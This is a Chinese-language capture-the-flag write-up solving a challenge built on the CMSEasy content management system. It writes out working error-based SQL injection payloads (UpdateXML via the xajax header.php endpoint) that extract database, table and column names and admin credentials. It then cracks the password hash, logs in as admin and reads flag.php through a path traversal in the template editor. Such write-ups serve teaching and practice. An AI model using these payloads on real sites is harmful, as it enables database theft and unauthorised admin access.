思路
- 确定CMS类型
- 查找该CMS出现过的漏洞
- 利用漏洞拿到shell,get flag
确定CMS类型
从评论处确定是CMSEASY
查找公开漏洞
找到一个注入漏洞cmseasy无限制报错漏洞,得知是一个报错注入,从文中找到poc,经URL解码如下xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
目标URL为http://xxx/celive/live/header.php
利用漏洞
根据需要修改payload,首先爆出数据库名
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
数据库名Yeser
然后通过information_schema.tables来爆表名,由于XPATH syntax error长度限制,需要用mid或substr来取中间的字符,如下
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x7e,mid((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
写个python脚本取出所有字符,发现表名yesercms_user
同理爆出字段名
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x7e,mid((SELECT group_concat(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x7e),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
发现字段名username和password
然后爆出用户名和密码
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,mid(CONCAT(0x5b,(SELECT username from yesercms_user),0x7e,(SELECT password from yesercms_user),0x5d),1,32),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
得到密码是md5加密,解密一下,然后登陆,进入管理后台,起初期望找到文件上传点来上传一句话木马getshell,但是寻一圈无果,看了wp才知道通过文件读取来直接读取根目录下的flag.php
整理了一下思路,应该是发现编辑当前模板的地方,无法修改模板代码,通过截包分析得知是直接读取了模板文件,所以想到直接读取根目录下的flag.php
通过截包修改读取的文件名,并经过测试…/flag.php,…/…/flag.php等,发现是…/…/flag.php,修改如下参数
然后从response得到flag.php内容